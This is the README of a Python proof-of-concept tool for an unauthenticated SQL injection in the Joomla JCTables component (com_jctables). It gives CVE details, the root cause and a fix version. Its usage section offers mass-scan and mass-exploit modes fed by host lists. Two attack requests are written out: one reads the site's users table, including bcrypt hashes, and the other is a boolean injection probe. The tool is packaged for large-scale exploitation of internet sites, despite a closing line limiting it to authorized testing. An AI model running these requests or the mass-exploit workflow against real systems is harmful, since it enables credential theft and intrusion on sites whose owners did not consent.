murrez/cve-2026-76570Python-PoC für CVE-2026-76570: nicht authentifizierte SQL-Injection in der Front-End-JSON-API von Joomla JCTables (com_jctables), mit Prüf-, Exploit- und Massen-Scan-Modus.
Python-3-PoC für CVE-2026-76570 — Joomcode JCTables — unauthentifizierte SQL-Injection auf der Front-End-JSON-CRUD-API (getdatarow, getrow, …).
| CVE.org | https://www.cve.org/CVERecord?id=CVE-2026-76570 (VERÖFFENTLICHT 2026-09-30) |
| NVD | https://nvd.nist.gov/vuln/detail/CVE-2026-76570 |
| CNA | Joomla! Project |
| Komponente | com_jctables |
| Betroffen | 1.0.0 – 1.20.0 (Labor: ≤ 1.10.31.2 bestätigt) |
| Fix | ≥ 1.21.1 (2026-08-05) |
| CWE | CWE-89, CWE-862 |
| CVSS 4.0 | 10.0 Kritisch — AT:N (keine besondere Admin-Konfiguration) |
| Analyse | VulnCheck — JCTables SQL R/W → RCE-Kette |
Front-End-Controller-Tasks haben kein Token / keine ACL. Tabellen- und Spaltennamen aus der Anfrage werden in SQL konkateniert; ladb_escape() behandelt in Anführungszeichen gesetzte Werte als „bereits escaped“. getdatarow kann beliebige DB-Tabellen lesen (z. B. {prefix}users). Dieser PoC beweist das Lesen (Benutzername / bcrypt-Zeile) — er führt nicht die vollständige Admin-Login-/Plugin-RCE-Kette aus.
Erfolgsmarker: POCBIT-76570-OK (in den JSON-Proof-Metadaten).
pip install requests urllib3 coloramacd CVE-2026-76570
python poc.py # interaktiv
python poc.py hits.txt # Massen-Exploit → exploited.txt
python poc.py --check fofa_hosts.txt # Massen-Scan → hits.txt
python poc.py -u https://site.tld
python poc.py -u URL --prefix jos_ # wenn das DB-Präfix bekannt ist
python poc.py --lab
python poc.py --help
python _engine.py --help
| Schritt | Anfrage |
|---|---|
| Zeile lesen | GET index.php?option=com_jctables&format=json&task=getdatarow&tn={prefix}users&idx=id&rid=1 |
| Boolesche Probe | GET …&task=getrow&mid=N&tid=T&idx='' OR (1=1) OR '' |
Aktualisieren Sie JCTables auf 1.21.1+ oder entfernen Sie die Komponente.
Nur autorisierte Sicherheitstests.